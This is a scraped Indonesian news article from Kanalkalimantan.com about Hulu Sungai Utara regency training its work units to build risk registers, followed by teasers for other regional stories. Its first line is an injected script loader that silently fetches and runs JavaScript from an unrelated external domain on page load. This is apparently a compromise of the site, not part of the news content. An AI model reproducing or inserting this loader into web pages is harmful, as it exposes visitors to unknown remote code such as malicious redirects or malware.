(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) terus berupaya memberikan pendampingan penyusunan risk register pada Satuan Kerja Perangkat Daerah (SKPD).
Pendampingan bertujuan untuk memberikan pemahaman dan keterampilan kepada seluruh perangkat daerah dalam menyusun register risiko, mampu mengidentifikasi, serta membuat daftar risiko yang mungkin terjadi pada program kegiatan yang dikelola.
Kepala Bappedalitbang HSU, Muhammad Haridi mengatakan, melalui pendampingan penyusunan risk register ke SKPD, sebagai upaya memberikan pemahaman dan keterampilan kepada seluruh perangkat daerah dalam menyusun register risiko, mampu mengidentifikasi, dan membuat daftar resiko yang mungkin terjadi pada program atau kegiatan yang dikelola.
“Dari pendampingan ini para peserta mampu memahami tata cara penyusunan register risiko, menyusun rencana tindak pengendalian, serta mampu menerapkan dan mengimplementasikan manajemen risiko di lingkungan SKPD masing-masing,” ujarnya, Kamis (30/5/2024).
Baca juga: Pasrah Kios Dibongkar, Bangunan Liar di Atas Sungai Ditertibkan Satpol PP
Dia menambahkan, dasar hukum pelaksanaan kegiatan ini adalah Peraturan Pemerintah Nomor 60 Tahun 2008 tentang Sistem Pengendalian Intern Pemerintah.
Sementara beberapa waktu lalu saat kegiatan pendampingan bersama Badan Pengawasan Keuangan dan Pembangunan (BPKP) Perwakilan Provinsi Kalimantan Selatan, Staf Ahli Bupati Bidang Pemerintahan Hukum dan Politik HSU, Sugeng Riyadi menilai pendampingan penyusunan risk register SKPD memiliki arti penting dan strategis agar dapat membuat daftar kejadian resiko yang mungkin terjadi, penyebab terjadi resiko, dampak probabilitas terjadi resiko serta cara mengendalikan resiko.
“Dimana risk register ini nantinya akan dijadikan sebagai dasar penyusunan program manajemen resiko, termasuk sebagai referensi dalam menyusun rencana audit berbasis resiko,” katanya.
Baca juga: DKUMPP Banjar Launching Tiga Inovasi
Oleh karenanya dirinya menginginkan, perangkat daerah mampu memperoleh gambaran menyeluruh terkait resiko pada masing-masing SKPD. Sehingga dapat meminimalisir terjadi kegagalan dalam pelaksanaan program kegiatan.
“Mengingat setiap perencanaan yang dibuat tidak terlepas dari resiko, resiko merupakan suatu kemungkinan kejadian yang dapat mengancam pencapaian tujuan kegiatan dan sasaran pemerintah daerah,” tutupnya. (Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More
This website uses cookies.